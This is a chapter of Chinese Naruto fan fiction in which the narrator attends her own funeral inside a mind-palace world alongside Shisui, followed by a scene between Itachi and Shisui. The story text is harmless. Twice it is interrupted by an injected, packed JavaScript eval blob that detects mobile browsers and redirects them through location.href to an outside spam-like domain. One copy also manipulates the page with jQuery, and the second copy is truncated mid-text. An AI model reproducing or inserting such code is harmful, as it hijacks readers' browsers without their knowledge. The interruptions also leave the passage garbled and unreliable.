它一身宇智波族服,初具人形的同时竟然也通晓人性。暗影并没有攻击我们的意思,反而因为认出了止水,话语里带有敬意地打着招呼。 ……是我完全不擅长的职场社交部分呢。我不动声色地往止水背后站了站。 而止水此刻沉着的简直像个老戏骨,他在我佩服的目光里接住戏:“是你啊……这是要出门吗?” “没错,”仿佛是见到偶像还被偶像认出来的小迷妹……小迷弟?暗影明显欢欣起来,但下一秒它的语调又低了下去,“族长召集大家去南贺神社,我正准备去。” 这样倒是能解释一部分街上看不到人的原因。我插了句嘴:“集会吗?” 没想到在戴着面具的量产暗影脸上也能看出不忍直视的表情。在我开口后,暗影身形一顿,仿佛是因为无法逃避才不得不看向我,它略略移开眼:“集会?也算是吧。” 我: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14755838|148724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “?” 与我对视的那双眼瞳猫似的紧缩瞳孔,我迷惑地凑近止水,在他下意识睁圆的眼睛中研究起了我的倒影。我沉重说:“难道说我的黑眼圈已经重到连暗影都害怕的地步了吗?” 止水:“……” 他语气十分的冷酷无情:“请假禁止。” 可是我明明还没开口—— 对于这样的独裁行为我感到相当不可思议,正准备据理力争一番时,被我们忽略的暗影已经自顾自讲了下去。 它若无其事地扔出了一颗惊雷: “毕竟今天是绪大人入殓的日子啊。” 我:“……” 我:“……” 我:“……” 这么多宇智波,怎么可能不会有重名。抱着这样软弱的想法,我说:“谁?” 暗影轻易击碎了我逃避现实的想法:“当然是宇智波绪啊!开启万花筒的那个宇智波绪!连这你都不知道?” 我:“……” 想不到人生能精彩到有人当着我的面说我死了。 在我大受震撼的同时,暗影已经开始怀疑我宇智波的身份,哪怕我的眼睛在进入宫殿后就一直保持着三勾玉的续航模式。 “你真的是宇智波吗?”面具后的两个黑洞凝视我,它的声音低沉下去,“回答我,宇智波的瑰宝是——” 这显然是一个宫廷玉○酒,一百八○杯的足以验明正身的死亡话题。 感受到暗影身上气息的变化,回答不对肯定是要进入战斗了。虽然没听说过这句,但并不想在这个时候闹出乱子的我急中生智,在想到这个宫殿属于谁后,我说:“弟弟?” “很接近了。” “……佐助。” “回答正确!”果不其然,某种程度是宫殿主人内心投射的暗影恢复了原本的语调,甚至显得更高昂了。它扭动着身体,漆黑的手捧住脸,“没错,佐助那孩子超级可爱哦!” 我:“……” 我转头对止水:“回去让鼬早点睡吧。” 止水:“?” 在他疑惑的表情之中,我冷静把话说完:“心理已经很变态了,身体可一定要健康啊。” 止水:“……” *** 暗影说,族中正在为宇智波绪举办葬礼。 是谁杀了我,我又杀了谁,这样的哲学问题足够让我大脑过载。还有一个问题就是,如果说这里的宇智波绪已死,为何暗影并没有对我的存在感到惊讶?毕竟我并没有遮挡面部。 它甚至问我:“你叫什么名字?好像从来没有看见过你啊。” 真的假的。我说:“我叫宇智波斑。” 暗影:“?” 暗影:“开玩笑吧,传奇忍者宇智波斑谁没听过?你当我没上过学吗!” 原来是有文化的暗影,失敬失敬。我发现如果按照正常逻辑对话,提到这些名字就不会被强行闭麦,于是在止水“……”的表情中,我说:“好吧,其实我叫宇智波带土。” 不仅在世界的某个角落里活蹦乱跳着,还想要暗算宇智波、搞“梦里什么都有”的违法传销。 但因为这样涉及剧透的话说不出来,我只好改口说:“是一个欺骗他人感情、套取无辜少女钱财的人间之屑。” 止水:“???” 不知为何他震惊地看向我。 没想到有人会这样介绍自己,暗影同样大受震撼。而比起斑,带土这个名字可就显得不见经传了许多。有一点文化、但也只有一点的暗影信了,它说:“那么带土,一起去见绪大人的最后一面吧。” 我说:“不急。” 因为现在轮到我来问死亡问题了。我语气和善:“在你眼中,我长什么样?” 暗影:“……” 没想到在戴着面具的量产暗影脸上也能看出一种拘谨。它靠近我,是说悄悄话的姿势:“你……今早出门之前有照过镜子吗?快去洗洗脸吧。” 这段话怎么听起来这么耳熟。我想了一下,随即我:“……” 在止水没忍住的笑声之中,我冷静地结印: “火遁·豪火球之术!” 19.“她好像不喜欢我。” 想不到吧,我只是虚晃一招。 毕竟雨天公然放火只会被水蒸气烫死。我放开结印到一半的手,转而反身一跃,踩在迷失在我的套路之中、此刻猝不及防的暗影背上,伸手扣住它的面具。 我沉下声音,开始装酷。我说: “揭露你的真面目。”* *** 片刻后,我和止水一同前往南贺神社。 遵纪守法的宇智波绪已经死掉了,现在站在这里的是人间之屑宇智波带土。在止水“……”的表情之中,我不仅扒下了暗影脸上的面具扣在自己脸上,还去暗影的家中扫荡了一圈,继承遗产若干,手中的雨伞也是其中之一。 单身暗影不会买双人伞。“水又滴到我头上了,”是止水平静的声音,“你到底是故意的还是不小心的?” 面对这种对我品行的质疑,我当然是用行动表示我是故意不小心……不是,我是迫不得已的。我仔细地将抱着的一摞书呵护在怀里,我说:“毕竟有这么多书——” 《青春猪头少年不会梦到○○○学姐》 《关于我转生成○○○这件事》 《我的青春○○物语果然有问题》 这些被我继承的暗影遗产们标题各有各的花里胡哨,共同点就是都突破了次元。“是之前做噩梦啦,梦到课上睡觉被老师叫起来背书。”我是这么解释这些书出现在这里的原因的,“总之就是背下来了。会出现在这里大概也是因为心灵世界被我反向影响了。” 除此之外没别的能解释了。这种影响目前并不可控,还会额外消耗我的查克拉与瞳力。说起来之前拿到的福泽○吉纸钞,怕也是因为当时我对钱相当渴望,以及脑海中对钱就是这样的印象。 止水惊奇地看了眼这堆书的厚度:“全部?” 我理解成了与原作的相似度。我想了想,严谨地改口:“七七八八吧。” 毕竟这些上辈子赋予我无数个带薪蹲坑零碎幸福的厕纸……不是,轻小说们,动不动就是十几二十卷,我背下来的都是根据我脑海中印象删减的精华浓缩版。 因此这些书不仅是绝版,还是孤本。我不得不强调两遍以守护我珍贵的精神食粮。至于轻小说被称为厕纸文学这种事……我难道就是坐在高档咖啡厅用指腹擦开世界名著第一页的人吗! 止水在听完后表情越发微妙地看着我,显然已经从对我品行的质疑,转化到了对我审美的质疑。 我:“……” 我沉默一下,感到相当的不服气:“你这是什么表情?厕纸可是不能受潮的啊!” 被我这种坦然承认的态度噎住的止水无话可说,他选择接过伞:“还是我来撑吧……不会让雨滴到上面的放心好了!” 有了这句承诺后,我这才放心地把伞柄移交给他。雨蒙蒙的天总是有许多忘记带伞的倒霉蛋,比如此刻,我们就在路边的树下遇见了躲雨的佐助。 比起之前遇到的那种量产型暗影,眼前的佐助虽然同样是暗影拟化,一举一动表现的却与真人无异。他看到我们时表现出一点别扭,显然并不想承认自己正是忘了带伞、又不能弄脏身上参加葬礼用的和服的倒霉蛋之一。 佐助:“我只是在这里等哥哥啦!” 他钻进我们伞下的时候这么说。止水天性里就带着一点对族中后辈的包容,此刻爱屋及乌,他捧场道:“这样啊。鼬呢?” 这个宫殿除了死了我之外一切宛如现实的镜像,暗影佐助自然也继承了现实对止水的态度。他收回打量陌生人般打量我的目光,对止水的套话并不设防: “我和爸妈一起走的时候哥哥就说了马上就来,结果葬礼快开始了还是没看到他。我想回去找他,但是路上下雨了,就在这里等了。” 佐助看着止水有些湿漉漉的头发,就像是无意间揭露自己是倒霉蛋一样,他毫无察觉地揭露了一个称得上劲爆的事实真相:“止水哥你也没看见哥哥吗?我还以为他又是和你一起去终末之谷了。自从小绪姐死之后,你们在雨天好像就一直喜欢去那里……” 终末之谷是木叶初代火影千手柱间与传奇忍者宇智波斑大战结束后劈开的峡谷,后来村里为了纪念在瀑布的两边雕刻了两人的巨大雕像。没什么必要的话,村里人一般很少去那边。 虽然不太理解我死了和他们跑去终末之谷淋雨有什么关系,但我的眼神还是立即犀利起来。 止水:“……” 眼见着我要讲一些邪恶啊同流合污啊绳之以法啊的正义之词,早有准备的止水先手打断施法:“我没有。” 他一边说着,一边和善地伸手把面具往我脸上扣了扣,用行动提醒我不要把暗影的行为和他混为一谈。 而把这句话当成是对他问题的否认的佐助则是小大人般叹了口气。生与死的距离对和平时代的人来说太远,对忍者却太近。即使年幼如佐助,如今也早早地背负起了这份悲伤的重量。 当然,起码在现在,他并不只是因为这份重量叹气。“止水哥,”佐助隐忍地抹掉脸上的雨水,头发上的刺猬尖尖都有些塌下来,“你能不能好好撑伞?” *** 三个人的伞下是事实意义上的拥挤与吵闹。 我说:“小心,我的书——” 佐助说:“把伞撑平啊——” 止水说:“好了,马上要到了——” 而不知在门口等候多久的富岳说:“你们几个知道现在是什么时间了吗!” …… 因为已经临近开始,富岳并没能有向我们宣泄他怒火的机会。坚信鼬不会这么不着调的富岳留在门口,佐助也选择一起等待此刻不知迷失在哪条人生道路上的哥哥。 难得的机会,我们准备趁着BOSS还没出现之前更多的打探情报。 至于为什么不采用最直接的方法,用武力解决问题——我眨掉睫毛上坠着的水珠,浑身湿漉漉的,旁边的止水也没有好到哪里去。 佐助本质是暗影可能没感觉,在来的路上互相“礼让”了谁来撑伞这件事后,我和止水的查克拉货真价实的已经被雨水侵蚀了大半,可谓是用行动证明了三个和尚没水喝(?) 而现在,我心虚地侧过身,把怀中自始至终都没有受到一点波及的厕纸……不是,轻小说们从止水危险的打量中解救出来。 让我万万想不到的是,仗义出手来解救我的竟然是长老。 有着现实中长老外形的暗影目光掠过止水,他看向我:“你……叫什么名字来着?” “宇智波带土。” 这么多宇智波有重名的也正常。长老一点头,立即沉下声音逼问我们:“止水、带土,为什么你们两个穿成这样就来了?” 神社内部已经被布置成了灵堂,上首是还未合棺的棺材,“我”看起来相当安详的躺在里面。底下的宇智波们齐聚一堂,不论是人形还是流水线暗影,身上的衣服都是相当的正式。而只穿着普通族服的我和止水,立即成为了其中明显的异类。 这么一看我们确实很失礼。如果是平时我已经道歉了,但现在,我说:“因为我没有素质。” 我掷地有声。 看到了吗止水,我……不是,带土就是这么一个没素质的宇智波! 长老:“??” 他深吸一口气,好在暗影无所谓血压高低。在我对没素质宇智波的自信扮演中,长老又问:“那你们怎么都这么狼狈?” 本来挤挤够用的单人伞在加入佐助后实在是捉襟见肘,但那时候已经没有机会再去别人家里扫荡。因此我说: “因为我没来得及没有素质。” 长老:“……” 在长久的沉默后,他怒斥我胡言乱语后拂袖而去。明明我说的都是真的。止水在一边闷笑着附和我嘟嘟囔囔的抱怨——虽然不知道为什么,但他就这么莫名其妙的阴雨转晴了。 男人果然就是善变。 而在之后,我靠着没素质的宇智波人设,很不客气地满屋子瞎逛一圈后,我回到原点:“你发现了吗?” 止水:“什么?” 占据大部分的流水线量产暗影都有着不熟悉的名字,而诸如富岳、美琴这样的与宫殿主人联系深厚的暗影们则看起来与真人无异。 从这点出发,在看到棺木里被绷带裹覆双眼、露出的部分连一点年龄带来的婴儿肥都精确复刻出的“我”后,我的表情凝重起来: “变态心理学的研究真的不能再推后了。回去我要请三天……不,五天假。” 止水:“……” 止水立即收敛了笑容:“不准。” “为什么?好过分!!” *** 止水非常可恶地无视我的抗议。 我只得退而求其次,我说宇智波鼬看似安安静静,实则心机深沉,证据就是他在宫殿里对我重拳出击,到现在就我一个领便当:“他一定是想暗算我。” “所以?” “所以我要先下手为强。” 我发表第三次套麻袋宣言,并郑重申请止水的协助。而在止水下次一定的敷衍中,直到葬礼真正开始,宇智波鼬也没有出现。 不仅是富岳面露失望,我还听到底下的暗影在议论: “鼬到底还记不记得得他是个宇智波?” “既然是为族中未来牺牲,宇智波绪也是死得其所。说到底他也是受益者,现在摆出这样不想与我们同流的样子,真是假清高。” “能凭一人将团藏与他带领的根部斩杀于终末之谷,万花筒的威力恐怖如斯。不过现在族里的万花筒就只剩下止水了吧,真是可惜。” “好在比起已经没救的鼬,止水倒还是心向家族。” 诸如此类的暗影们的话语与佐助那里套取来的情报交叉印证,这个世界的宇智波绪的死因确实与团藏有关: 在中忍考试之后,曾因天才之名而名噪一时的宇智波绪就隐匿了身影,联系到现实,我猜测就是这里的我加入了根部。直到暗影提到的宇智波绪与团藏在终末之谷的战斗,这期间宇智波一族与村子的对抗不断升级,一度到了连佐助这种被排除在密谋之外的小辈都感受到的激烈。 而形势也正是因为这一场战斗的结果而转变。 团藏死后,反对宇智波的死硬派失去主力,在失去一大股力量之后,村子不能再承受失去宇智波的代价,更何况动手开高达的宇智波绪也因为过量使用瞳力而死,这件事最终各打五十大板,被和稀泥压了下去。而之后宇智波趁势而起,复兴成为村子的话事人,已经是可以想见的未来。 因此这完全已经是一脚踩进了成年人肮脏利益关系领域的话题,和灵堂该有的肃穆氛围大不匹配。我此刻身为宇智波中没素质的代表,自然是以拍案而起的气势站起来大声哔哔:“你们在舍己为宇智波、伟大的小绪大人的棺材面前是在说些什么啊!” 虽然这句话有夹带私货之嫌,但确实连止水都被我的气势震慑住了。不仅是他睁圆了眼看我,那些有脸的、不要脸的暗影们也都把目光集中在我身上: “是啊,族里能有今天,离不开宇智波绪的贡献。” “没错,还是要铭记宇智波英烈,传承宇智波铁血丹心,铸牢宇智波忠诚忍魂。” 在片刻的沉默后,它们这样窃窃私语了一阵。随即富岳对我投来赞赏的目光,长老场面上也没有反驳我,在我和止水的“谦让”中壮烈牺牲的顺毛限定佐助更是仿佛在此刻重新认识了我。 这一瞬间,我一跃成为全场瞩目的焦点。 环顾一圈发现暗影们终于脱离盘算利益的低级趣味,准备展开宇智波温馨人文关怀后,我图穷匕见,我说:“既然如此,你打算送多少礼金?” 被我随机抓住提问的幸运暗影一哽,半天它竖起一根手指,我哇哦一声:“一百万?” “怎么可能!你把我卖了都没这么多啊!” “好吧,看起来是这样。” 不仅是我的话,连着我隐约撇嘴的动作都让暗影感觉到了冒犯。它憋着怒气说:“我送多少礼金和你有什么关系?” 好问题。我说:“当然是因为宇智波绪的遗产将由我继承。” 它:“??” 富岳没听说过还有我这号继承人的存在。他问:“谁说的?” “我说的。” …… “我有些分不清了。” 不久之后,绞尽脑汁让我没有因为过于没素质而被赶出去的止水这么说。我困惑地看他一眼:“什么?” “你是演的吧?” 他这种疑问的语气让我感到有被冒犯到。“说什么呢,”还不是为了让你认识到敌人的冷酷与残暴,我露出谴责的表情,“当然是演的啊!” “那你现在这样也是吗?” 止水冷静地问我。 忍者并不搞大操大办那一套,在棺木下葬之后葬礼就算结束了。此刻墓地只剩下我们两人,我这种黑户也终于能摘下一会面具。 和墓碑上照片如出一辙的黑发蓝眼、是出尽美人的宇智波一族中也难见的漱冰濯雪的清丽——止水就看见我往墓碑边上一个跨步,保持着半蹲的姿势面无表情在脸边比了一个V。 我催促止水快按下快门: “现在当然是做自己——说起来你真的不觉得参加自己的葬礼很值得纪念一下吗?” *** 止水嘴上说不觉得,实际身体非常诚实,几乎不需要我怎么劝说就加入了我,笑的甚至还挺灿烂——总之就这么顺利拍到了人生照片。 反正家里也没别人会来,我干脆光明正大把相框摆到了书桌上。 而因为临近中忍考试开幕,在从宫殿里出来后,现实中的第二日我就收到了报名的通知。 “只有你参加哦。” 已经是中忍的我的队友告知了我这个残酷的事实。信说:“不用担心啦,凭你的实力,很轻松就能过关。” 椿在旁边笑着点头,这两人莫名都是一副比我还有自信的样子。而我随手把富岳的ddl通知与团藏发来的就业指导一起折成纸飞机飞进垃圾桶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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至于团藏和大蛇丸至今有着联系,并且在暗中支持他的人体实验这一点,信受限于舌根祸绝之印无法向我们——向我传递。他对我说:“总之考试的时候当心点吧,宇智波的血继可是有着相当的吸引力。” 中忍考试并不缺乏死亡的风险。忧心忡忡的椿也瞬间切换成了老妈子模式,仿佛之前对我蜜汁自信的两个人不是他们一样。 男人实在太善变了吧。 但想到写轮眼对大蛇丸的吸引力确实不比肉骨头对狗小多少,我说:“如果这么说的话,要担心的也不是我吧。” “止水老师应该不用担心吧,他打起来……呃,挺有谋略的。” “反正他不在,直说吧,他挺阴的。”这是深受其害的信。 “没说是止水啦。” 我本来想说该担心的是鼬,但想到原作里大蛇丸好像一见到他就被秒了,话到嘴边,我又改口说:“该担心的应该是大蛇丸。” “诶?” 大蛇丸唯一成功拐走的就只有佐助吧。我严肃说:“毕竟,他可能要在这个年纪多出一个爹了。” “???” *** 我还是坚持止水静悄悄,一定在作妖(?) 队友问我有什么依据,我说这是人类的直觉。而与此同时,在终末之谷、岩像的顶端—— 湍急的瀑布自定格在结下对立之印瞬间的两尊高大雕像之间穿过,远处风吹起阵阵翻涌的林涛,大概是因为现实中的终末之谷沐浴在夏季丰沛的阳光下,让远离似乎永无止境的阴雨天的止水怎样也没法和宫殿里的自己共鸣。 倒是透过乌鸦的视角,止水全程见证了几个学生是怎么在共同蛐蛐他之中得到非凡乐趣,一路从训练场偷懒到村子里的餐馆的。 信的宇智波滤镜就不用说了,椿此刻也是已经向谐星、老妈子,或者别的什么都好——反正就是与他曾经资料上端肃内敛评价完全南辕北辙的方向发展了。 至于三个人中间从来顶着一张无表情冷脸、看起来并不比天上的月亮更好接触的宇智波绪,不仅在修行上有着非凡的天赋,在带歪周围人画风上面的实力更是让人望尘莫及。 比如现在,他们就开始讨论起了大蛇丸的爹是谁、谁的八字硬到能当大蛇丸的爹这个足以点爆整个忍界的话题。 止水:“……” 他果断切断了与乌鸦的感官共享,因为再看下去他真的很难保证他不在这种严肃的氛围里笑出声来。 刻意放重的脚步声在身后响起,宇智波鼬应约而来。 …… 鼬按下被风吹拂开的刘海,虽然不知道为什么止水要约定在这里,他也有迫切的问题想要询问,但并不缺乏甚至时常显得过多的礼貌还是让他安静的等待。 结果止水转过身时,他脸上那种严肃话题专用的表情并没能维持比一秒更多的时间。卷发的青年笑得肩膀抖动:“抱歉,我不应该笑的……” 实在是忍不住。 但只要认识大蛇丸,谁又能抵抗住这个话题的魔性吸引力。 敏锐的察觉到这中间有他不知道的隐情,脱离理性的推理,在某种直觉的牵引下,鼬找到了一个切中真相的名字。而对止水,“没关系。”然后若无其事的,鼬说,“你应该已经知道了吧。” “怎么?” “我接到了监视宇智波绪的任务。” “这样啊。” “不惊讶吗?” 在鼬的疑问中,止水想了想:“有一点。没想到你会这么直接就把话摊开来说了。” 毕竟是什么都会百转千回的藏在心中的性格。 至于什么时候发现的—— 谈到开启万花筒的后遗症时,绪坚称会影响睡眠质量:“有时候半夜睁眼看到好多暗影在头上游荡,这里明明是我家,这种无视道德践踏法律的事情我根本无法忍受,立刻就起床去开宝箱……不是,打击罪恶了。” 据说那段时间暗部离职率高的可怕。 而对于鼬,“他就是想暗算我。”绪更坚持这一点,“每次他都偷偷出现在差一点我脖子就扭掉的角度,这还不是挑衅?” 虽然把监视两个字描述的百转千回,但确实是监视没错了。哪怕绪的万花筒不开启,她对于周边的暗影都远比三勾玉时期要敏感的多,虽然本人可能并不觉得这是什么好事。 鼬陷入了沉默。 猿飞日斩的心思很好猜,既需要万花筒表现出的战力,又担忧宇智波绪此刻心向村子,日后心思改变,就转眼间成为了不稳定因素。 “不担心我吗?”被托付这个任务的时候他也问过这个问题,而猿飞日斩说不,他甚至说比起止水,在他眼里鼬要更明白大局两字,这也是所谓火影思维的精髓所在。 大局。 默念着这两个字,年方十三岁、已成为暗部小队队长,在成就上远远超过虚长年岁的大人的宇智波鼬,自认已经脱离低级趣味的宇智波鼬,在显得漫长的沉默中做足了心理准备。 他说:“不管怎么说,我都要和她打好关系。” “但她好像不喜欢我。” “止水哥,你知道这是为什么吗?”